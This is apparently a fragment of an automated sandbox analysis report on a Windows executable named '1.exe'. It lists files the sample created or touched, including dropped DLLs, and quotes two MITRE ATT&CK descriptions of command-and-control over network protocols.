C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\errorPageStrings[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\dnserrordiagoff[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\NewErrorPageTemplate[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\deprecated.cookie

C:\Users\user\Desktop\1.lnk

C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll

C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\A99DD9DC\F7BE15.ini

Windows Analysis Report
1.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre